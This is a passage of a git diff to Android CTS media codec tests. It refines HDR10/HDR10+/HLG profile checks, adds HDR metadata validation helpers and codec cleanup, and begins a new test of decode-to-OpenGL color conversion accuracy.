+ IntStream.of(defaultOutputColorFormatList).anyMatch(x -> x == outputColorFormat));
+ }
}
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
index 63b1b2c..932af63 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
@@ -42,9 +42,6 @@
@RunWith(Parameterized.class)
public class CodecEncoderValidationTest extends CodecEncoderTestBase {
- private static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
- private static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
private final boolean mUseHBD;
// Key: mediaType, Value: tolerance duration in ms
private static final Map<String, Integer> toleranceMap = new HashMap<>();
@@ -145,6 +142,10 @@
if (!mIsAudio) {
int colorFormat = mFormats.get(0).getInteger(MediaFormat.KEY_COLOR_FORMAT);
Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, colorFormat));
+ if (mUseHBD) {
+ Assume.assumeTrue("Codec doesn't support high bit depth profile encoding",
+ doesCodecSupportHDRProfile(mCodecName, mMime));
+ }
}
checkFormatSupport(mCodecName, mMime, true, mFormats, null, CODEC_OPTIONAL);
setUpSource(inputFile);
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index a030a95..a8f7c8f 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -90,40 +90,31 @@
/**
* Tests if the devices on T or later, if decoder for a mediaType supports HDR profiles then
- * it should be capable of displaying the same
+ * it should be capable of displaying the same. Since HLG profiles can't be distinguished from
+ * default 10-bit profiles, those are excluded from this test.
*/
@Test
- @Ignore("TODO(b/228237404) Enable once display capabilities can be queried at codec2 level")
public void testHDRDisplayCapabilities() {
Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
- Assume.assumeTrue("Test is applicable for codecs with HDR profiles",
- mProfileHdrMap.containsKey(mMediaType));
- int[] HdrProfiles = mProfileHdrMap.get(mMediaType);
+ int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
+ int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
+ Assume.assumeTrue("Test is applicable for codecs with HDR10/HDR10+ profiles",
+ Hdr10Profiles != null || Hdr10PlusProfiles != null);
+
MediaCodecInfo.CodecCapabilities caps = mCodecInfo.getCapabilitiesForType(mMediaType);
for (CodecProfileLevel pl : caps.profileLevels) {
- if (IntStream.of(HdrProfiles).anyMatch(x -> x == pl.profile)) {
- if (pl.profile == AV1ProfileMain10 || pl.profile == AVCProfileHigh10 ||
- pl.profile == HEVCProfileMain10 || pl.profile == VP9Profile2) {
- assertTrue("Advertises support for HLG technology without HLG display",
- IntStream.of(DISPLAY_HDR_TYPES).anyMatch(x -> x == HDR_TYPE_HLG));
- } else if (pl.profile == AV1ProfileMain10HDR10 ||
- pl.profile == HEVCProfileMain10HDR10 || pl.profile == VP9Profile2HDR) {
- assertTrue(mCodecInfo.getName() + " Advertises support for HDR10 profile " +
- pl.profile + " without HDR10 display",
- IntStream.of(DISPLAY_HDR_TYPES).anyMatch(x -> x == HDR_TYPE_HDR10));
- } else if (pl.profile == AV1ProfileMain10HDR10Plus ||
- pl.profile == HEVCProfileMain10HDR10Plus ||
- pl.profile == VP9Profile2HDR10Plus) {
- assertTrue(mCodecInfo.getName() + " Advertises support for HDR10+ profile " +
- pl.profile + " without HDR10+ display",
- IntStream.of(DISPLAY_HDR_TYPES)
- .anyMatch(x -> x == HDR_TYPE_HDR10_PLUS));
- } else {
- fail("Unhandled HDR profile" + pl.profile + " for type " + mMediaType);
- }
+ boolean isHdr10Profile = Hdr10Profiles != null &&
+ IntStream.of(Hdr10Profiles).anyMatch(x -> x == pl.profile);
+ boolean isHdr10PlusProfile = Hdr10PlusProfiles != null &&
+ IntStream.of(Hdr10PlusProfiles).anyMatch(x -> x == pl.profile);
+ // TODO (b/228237404) Once there is a way to query support for HDR10/HDR10+ display at
+ // native level, separate the following to independent checks for HDR10 and HDR10+
+ if (isHdr10Profile || isHdr10PlusProfile) {
+ assertTrue(mCodecInfo.getName() + " Advertises support for HDR10/HDR10+ profile " +
+ pl.profile + " without any HDR display", DISPLAY_HDR_TYPES.length > 0);
}
}
}
@@ -143,17 +134,17 @@
// COLOR_FormatSurface support is an existing requirement, but we did not
// test for it before T. We can not retroactively apply the higher standard to
- // devices that are already certified, so only test on T or later devices.
- if (IS_AT_LEAST_T) {
+ // devices that are already certified, so only test on VNDK T or later devices.
+ if (VNDK_IS_AT_LEAST_T) {
assertFalse(mCodecInfo.getName() + " does not support COLOR_FormatSurface",
IntStream.of(caps.colorFormats)
.noneMatch(x -> x == COLOR_FormatSurface));
}
- // For devices launching with Android T, if a codec supports an HDR profile, it must
- // advertise P010 support
+ // For devices launching with Android T, if a codec supports an HDR profile and device
+ // supports HDR display, it must advertise P010 support
int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
- if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) {
+ if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
for (CodecProfileLevel pl : caps.profileLevels) {
if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecListTest.java b/tests/media/src/android/mediav2/cts/CodecListTest.java
index 04568f8..50b33e2 100644
--- a/tests/media/src/android/mediav2/cts/CodecListTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecListTest.java
@@ -19,6 +19,7 @@
import android.media.MediaFormat;
import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.MediaUtils;
@@ -33,6 +34,13 @@
@SmallTest
@RunWith(AndroidJUnit4.class)
public class CodecListTest {
+ static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
+ static String mediaTypePrefix;
+
+ static {
+ android.os.Bundle args = InstrumentationRegistry.getArguments();
+ mediaTypePrefix = args.getString(MEDIA_TYPE_PREFIX_KEY);
+ }
/**
* Tests if the device under test has support for required components as guided by CDD.
@@ -41,8 +49,8 @@
*/
@Test
public void testCddRequiredCodecsAvailability() {
- final boolean needAudio = true;
- final boolean needVideo = true;
+ final boolean needAudio = mediaTypePrefix == null || mediaTypePrefix.startsWith("audio");
+ final boolean needVideo = mediaTypePrefix == null || mediaTypePrefix.startsWith("video");
boolean[] modes = {true, false};
for (boolean isEncoder : modes) {
ArrayList<String> cddRequiredMimeList =
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 0293495..1a86cd5 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -32,6 +32,7 @@
import android.media.MediaFormat;
import android.os.Build;
import android.os.PersistableBundle;
+import android.os.SystemProperties;
import android.util.Log;
import android.util.Pair;
import android.view.Display;
@@ -40,6 +41,7 @@
import androidx.annotation.NonNull;
import androidx.test.platform.app.InstrumentationRegistry;
+import org.junit.After;
import org.junit.Assert;
import org.junit.Assume;
import org.junit.Before;
@@ -61,6 +63,8 @@
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import java.util.stream.IntStream;
import java.util.zip.CRC32;
@@ -72,6 +76,7 @@
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -582,6 +587,7 @@
}
abstract class CodecTestBase {
+ public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
// Checking for CODENAME helps in cases when build version on the development branch isn't
// updated yet but CODENAME is updated.
@@ -592,6 +598,8 @@
// TIRAMISU is set correctly
public static final boolean FIRST_SDK_IS_AT_LEAST_T =
ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
+ public static final boolean VNDK_IS_AT_LEAST_T =
+ SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
enum SupportClass {
CODEC_ALL, // All codecs must support
@@ -599,7 +607,30 @@
CODEC_DEFAULT, // Default codec must support
CODEC_OPTIONAL // Codec support is optional
}
+ static final String HDR_STATIC_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
+ static final String[] HDR_DYNAMIC_INFO = new String[]{
+ "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
+ "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
+
+ "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
+
+ "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
+ };
+ boolean mTestDynamicMetadata = false;
static final String CODEC_PREFIX_KEY = "codec-prefix";
static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
static final String MIME_SEL_KEY = "mime-sel";
@@ -608,6 +639,9 @@
static final Map<String, String> mDefaultDecoders = new HashMap<>();
static final HashMap<String, int[]> mProfileMap = new HashMap<>();
static final HashMap<String, int[]> mProfileSdrMap = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHlgMap = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHdr10Map = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHdr10PlusMap = new HashMap<>();
static final HashMap<String, int[]> mProfileHdrMap = new HashMap<>();
static final boolean ENABLE_LOGS = false;
static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
@@ -633,20 +667,29 @@
static final int[] AVC_SDR_PROFILES = new int[]{AVCProfileBaseline, AVCProfileMain,
AVCProfileExtended, AVCProfileHigh, AVCProfileConstrainedBaseline,
AVCProfileConstrainedHigh};
- static final int[] AVC_HDR_PROFILES = new int[]{AVCProfileHigh10, AVCProfileHigh422,
- AVCProfileHigh444};
+ static final int[] AVC_HLG_PROFILES = new int[]{AVCProfileHigh10};
+ static final int[] AVC_HDR_PROFILES = AVC_HLG_PROFILES;
static final int[] AVC_PROFILES = combine(AVC_SDR_PROFILES, AVC_HDR_PROFILES);
- static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0, VP9Profile1};
- static final int[] VP9_HDR_PROFILES = new int[]{VP9Profile2, VP9Profile3,
- VP9Profile2HDR, VP9Profile3HDR, VP9Profile2HDR10Plus, VP9Profile3HDR10Plus};
+ static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0};
+ static final int[] VP9_HLG_PROFILES = new int[]{VP9Profile2};
+ static final int[] VP9_HDR10_PROFILES = new int[]{VP9Profile2HDR};
+ static final int[] VP9_HDR10Plus_PROFILES = new int[]{VP9Profile2HDR10Plus};
+ static final int[] VP9_HDR_PROFILES =
+ combine(VP9_HLG_PROFILES, combine(VP9_HDR10_PROFILES, VP9_HDR10Plus_PROFILES));
static final int[] VP9_PROFILES = combine(VP9_SDR_PROFILES, VP9_HDR_PROFILES);
static final int[] HEVC_SDR_PROFILES = new int[]{HEVCProfileMain, HEVCProfileMainStill};
- static final int[] HEVC_HDR_PROFILES = new int[]{HEVCProfileMain10,
- HEVCProfileMain10HDR10, HEVCProfileMain10HDR10Plus};
+ static final int[] HEVC_HLG_PROFILES = new int[]{HEVCProfileMain10};
+ static final int[] HEVC_HDR10_PROFILES = new int[]{HEVCProfileMain10HDR10};
+ static final int[] HEVC_HDR10Plus_PROFILES = new int[]{HEVCProfileMain10HDR10Plus};
+ static final int[] HEVC_HDR_PROFILES =
+ combine(HEVC_HLG_PROFILES, combine(HEVC_HDR10_PROFILES, HEVC_HDR10Plus_PROFILES));
static final int[] HEVC_PROFILES = combine(HEVC_SDR_PROFILES, HEVC_HDR_PROFILES);
static final int[] AV1_SDR_PROFILES = new int[]{AV1ProfileMain8};
- static final int[] AV1_HDR_PROFILES = new int[]{AV1ProfileMain10,
- AV1ProfileMain10HDR10, AV1ProfileMain10HDR10Plus};
+ static final int[] AV1_HLG_PROFILES = new int[]{AV1ProfileMain10};
+ static final int[] AV1_HDR10_PROFILES = new int[]{AV1ProfileMain10HDR10};
+ static final int[] AV1_HDR10Plus_PROFILES = new int[]{AV1ProfileMain10HDR10Plus};
+ static final int[] AV1_HDR_PROFILES =
+ combine(AV1_HLG_PROFILES, combine(AV1_HDR10_PROFILES, AV1_HDR10Plus_PROFILES));
static final int[] AV1_PROFILES = combine(AV1_SDR_PROFILES, AV1_HDR_PROFILES);
static final int[] AAC_PROFILES = new int[]{AACObjectMain, AACObjectLC, AACObjectSSR,
AACObjectLTP, AACObjectHE, AACObjectScalable, AACObjectERLC, AACObjectERScalable,
@@ -716,6 +759,19 @@
mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_SDR_PROFILES);
mProfileSdrMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HLG_PROFILES);
+
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10_PROFILES);
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10_PROFILES);
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10_PROFILES);
+
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10Plus_PROFILES);
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10Plus_PROFILES);
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10Plus_PROFILES);
+
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HDR_PROFILES);
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR_PROFILES);
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR_PROFILES);
@@ -757,22 +813,26 @@
if (!areFormatsSupported(codecName, mime, formats)) {
switch (supportRequirements) {
case CODEC_ALL:
- fail("format(s) not supported by codec: " + codecName + " for mime : " + mime);
+ fail("format(s) not supported by codec: " + codecName
+ + " for mime : " + mime + " formats: " + formats);
break;
case CODEC_ANY:
if (selectCodecs(mime, formats, features, isEncoder).isEmpty())
- fail("format(s) not supported by any component for mime : " + mime);
+ fail("format(s) not supported by any component for mime : " + mime
+ + " formats: " + formats);
break;
case CODEC_DEFAULT:
if (isDefaultCodec(codecName, mime, isEncoder))
fail("format(s) not supported by default codec : " + codecName +
- "for mime : " + mime);
+ "for mime : " + mime + " formats: " + formats);
break;
case CODEC_OPTIONAL:
default:
- Assume.assumeTrue("format(s) not supported by codec: " + codecName +
- " for mime : " + mime, false);
+ // the later assumeTrue() ensures we skip the test for unsupported codecs
+ break;
}
+ Assume.assumeTrue("format(s) not supported by codec: " + codecName + " for mime : " +
+ mime, false);
}
}
@@ -872,6 +932,16 @@
return isDefault;
}
+ static boolean isVendorCodec(String codecName) {
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+ if (codecName.equals(codecInfo.getName())) {
+ return codecInfo.isVendor();
+ }
+ }
+ return false;
+ }
+
static ArrayList<String> compileRequiredMimeList(boolean isEncoder, boolean needAudio,
boolean needVideo) {
Set<String> list = new HashSet<>();
@@ -1263,6 +1333,21 @@
return height;
}
+ byte[] loadByteArrayFromString(final String str) {
+ if (str == null) {
+ return null;
+ }
+ Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+ Matcher matcher = pattern.matcher(str);
+ // allocate a large enough byte array first
+ byte[] tempArray = new byte[str.length() / 2];
+ int i = 0;
+ while (matcher.find()) {
+ tempArray[i++] = (byte) Integer.parseInt(matcher.group(), 16);
+ }
+ return Arrays.copyOfRange(tempArray, 0, i);
+ }
+
boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
if (inpFormat == null || outFormat == null) return false;
String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1321,6 +1406,44 @@
}
}
+ void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
+ ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
+ assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo);
+ if (!hdrStaticRef.equals(hdrStaticInfo)) {
+ StringBuilder refString = new StringBuilder("");
+ StringBuilder testString = new StringBuilder("");
+ byte[] ref = new byte[hdrStaticRef.capacity()];
+ hdrStaticRef.get(ref);
+ byte[] test = new byte[hdrStaticInfo.capacity()];
+ hdrStaticInfo.get(test);
+ for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+ refString.append(String.format("%2x ", ref[i]));
+ testString.append(String.format("%2x ", test[i]));
+ }
+ fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
+ "test static info : " + testString);
+ }
+ }
+
+ void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) {
+ ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null);
+ assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo);
+ if (!hdrDynamicRef.equals(hdrDynamicInfo)) {
+ StringBuilder refString = new StringBuilder("");
+ StringBuilder testString = new StringBuilder("");
+ byte[] ref = new byte[hdrDynamicRef.capacity()];
+ hdrDynamicRef.get(ref);
+ byte[] test = new byte[hdrDynamicInfo.capacity()];
+ hdrDynamicInfo.get(test);
+ for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+ refString.append(String.format("%2x ", ref[i]));
+ testString.append(String.format("%2x ", test[i]));
+ }
+ fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" +
+ "test dynamic info : " + testString);
+ }
+ }
+
public void setUpSurface(CodecTestActivity activity) throws InterruptedException {
activity.waitTillSurfaceIsCreated();
mSurface = activity.getSurface();
@@ -1341,6 +1464,14 @@
fail("no valid component available for current test ");
}
}
+
+ @After
+ public void tearDown() {
+ if (mCodec != null) {
+ mCodec.release();
+ mCodec = null;
+ }
+ }
}
class CodecDecoderTestBase extends CodecTestBase {
@@ -1530,8 +1661,15 @@
int height = format.getInteger(MediaFormat.KEY_HEIGHT);
int stride = format.getInteger(MediaFormat.KEY_STRIDE);
mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample);
+
+ if (mTestDynamicMetadata) {
+ validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer
+ .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount])));
+
+ }
}
}
+
if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
mSawOutputEOS = true;
}
@@ -1651,6 +1789,44 @@
mCodec.release();
mExtractor.release();
}
+
+ void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
+ boolean ignoreContainerStaticInfo)
+ throws IOException, InterruptedException {
+ mOutputBuff = new OutputManager();
+ MediaFormat format = setUpSource(parent, name);
+ if (ignoreContainerStaticInfo) {
+ format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
+ }
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ configureCodec(format, true, true, false);
+ mCodec.start();
+ doWork(10);
+ queueEOS();
+ waitForAllOutputs();
+ validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
+ mCodec.stop();
+ mCodec.release();
+ mExtractor.release();
+ }
+
+ void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo)
+ throws IOException, InterruptedException {
+ mOutputBuff = new OutputManager();
+ MediaFormat format = setUpSource(parent, name);
+ if (ignoreContainerDynamicInfo) {
+ format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO);
+ }
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ configureCodec(format, true, true, false);
+ mCodec.start();
+ doWork(10);
+ queueEOS();
+ waitForAllOutputs();
+ mCodec.stop();
+ mCodec.release();
+ mExtractor.release();
+ }
}
class CodecEncoderTestBase extends CodecTestBase {
@@ -1659,6 +1835,9 @@
// files are in WorkDir.getMediaDirString();
private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+ protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
+ protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
+
private final int INP_FRM_WIDTH = 352;
private final int INP_FRM_HEIGHT = 288;
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
new file mode 100644
index 0000000..96836e6
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -0,0 +1,385 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaFormat;
+import android.opengl.GLES20;
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Validates the correctness of color conversion in the decode followed by OpenGL
+ * rendering scenarios. The input video files fed to the decoders contain the pixel
+ * data in compressed YUV format. The output of the decoders is shared with OpenGL
+ * as external textures. And OpenGL outputs RGB pixels. The class validates whether
+ * the conversion of input YUV to output RGB is in accordance with the chosen color
+ * aspects. Video files used in the test do not have any color aspects info coded in
+ * the bitstreams
+ */
+@RunWith(Parameterized.class)
+public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
+ private static final String LOG_TAG = DecodeGlAccuracyTest.class.getSimpleName();
+
+ // Allowed color tolerance to account for differences in the conversion process
+ private static final int ALLOWED_COLOR_DELTA = 8;
+
+ // The test video assets were generated with a set of color bars.
+ // Depending on the color aspects, the values from OpenGL pbuffer
+ // should not differ from the reference color values for the
+ // given color aspects below by more than the allowed tolerance.
+ //
+ // The reference RGB values were computed using the process described below.
+ //
+ // RGB = Transpose(FLOOR_CLIP_PIXEL(CONV_CSC * (Transpose(YUV) - LVL_OFFSET)))
+ // The matrices LVL_OFFSET and CONV_CSC for different color aspects are below.
+ //
+ // YUV values in the 8bit color bar test videos are in COLOR_BARS_YUV below
+ //
+ // The color conversion matrices (CONV_CSC) for the RGB equation above:
+ // MULTIPLY_ROW_WISE_LR = Transpose({255/219, 255/224, 255/224})
+ // CONV_FLOAT_601_FR =
+ // {{1, 0, 1.402},
+ // {1, -0.344136, -0.714136},
+ // {1, 1.772, 0},}
+ // CONV_FLOAT_709_FR =
+ // {{1, 0, 1.5748},
+ // {1, -0.1873, -0.4681},
+ // {1, 1.8556, 0},}
+ // CONV_FLOAT_601_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_601_FR
+ // CONV_FLOAT_709_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_709_FR
+ //
+ // The level shift matrices (LVL_OFFSET) for the RGB equation above:
+ // LVL_OFFSET_LR = Transpose({16, 128, 128})
+ // LVL_OFFSET_FR = Transpose({0, 128, 128})
+
+ private static final int[][] COLOR_BARS_YUV = new int[][]{
+ {126, 191, 230},
+ {98, 104, 204},
+ {180, 20, 168},
+ {121, 109, 60},
+ {114, 179, 172},
+ {133, 138, 118},
+ {183, 93, 153},
+ {203, 20, 33},
+ {147, 131, 183},
+ {40, 177, 202},
+ {170, 82, 96},
+ };
+
+ // Reference RGB values for 601 Limited Range
+ private static final int[][] COLOR_BARS_601LR = new int[][]{
+ {255, 17, 252},
+ {219, 40, 44},
+ {255, 196, 0},
+ {11, 182, 81},
+ {185, 55, 214},
+ {119, 137, 153},
+ {235, 183, 119},
+ {62, 255, 0},
+ {242, 103, 155},
+ {148, 0, 126},
+ {127, 219, 82},
+ };
+ // Reference RGB values for 601 Full Range
+ private static final int[][] COLOR_BARS_601FR = new int[][]{
+ {255, 31, 237},
+ {204, 51, 55},
+ {236, 188, 0},
+ {25, 176, 87},
+ {175, 65, 204},
+ {118, 136, 150},
+ {218, 177, 120},
+ {69, 255, 11},
+ {224, 106, 152},
+ {143, 0, 126},
+ {125, 208, 88},
+ };
+ // Reference RGB values for 709 Limited Range
+ private static final int[][] COLOR_BARS_709LR = new int[][]{
+ {255, 57, 255},
+ {234, 57, 42},
+ {255, 188, 0},
+ {0, 159, 79},
+ {194, 77, 219},
+ {117, 136, 154},
+ {240, 184, 116},
+ {43, 255, 0},
+ {253, 119, 155},
+ {163, 0, 130},
+ {120, 202, 78},
+ };
+
+ // The test videos were generated with the above color bars. Each bar is of width 16.
+ private static final int COLOR_BAR_WIDTH = 16;
+ private static final int COLOR_BAR_OFFSET_X = 8;
+ private static final int COLOR_BAR_OFFSET_Y = 64;
+
+ private int[][] mColorBars;
+
+ private final String mCompName;
+ private final String mFileName;
+ private int mWidth;
+ private int mHeight;
+ private final int mRange;
+ private final int mStandard;
+ private final int mTransferCurve;
+ private final boolean mUseYuvSampling;
+
+ private OutputSurface mEGLWindowOutSurface;
+ private int mBadFrames = 0;
+
+ public DecodeGlAccuracyTest(String decoder, String mediaType, String fileName, int range,
+ int standard, int transfer, boolean useYuvSampling) {
+ super(null, mediaType, null);
+ mCompName = decoder;
+ mFileName = fileName;
+ mRange = range;
+ mStandard = standard;
+ mTransferCurve = transfer;
+ mUseYuvSampling = useYuvSampling;
+
+ if (!mUseYuvSampling) {
+ mColorBars = COLOR_BARS_601LR;
+ if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+ (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+ mColorBars = COLOR_BARS_601LR;
+ } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+ (mRange == MediaFormat.COLOR_RANGE_FULL)) {
+ mColorBars = COLOR_BARS_601FR;
+ } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT709) &&
+ (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+ mColorBars = COLOR_BARS_709LR;
+ } else {
+ Log.e(LOG_TAG, "Unsupported Color Aspects.");
+ }
+ } else {
+ mColorBars = COLOR_BARS_YUV;
+ }
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1}_{3}_{4}_{5}_{6})")
+ public static Collection<Object[]> input() {
+ final boolean isEncoder = false;
+ final boolean needAudio = false;
+ final boolean needVideo = true;
+
+ final List<Object[]> argsList = Arrays.asList(new Object[][]{
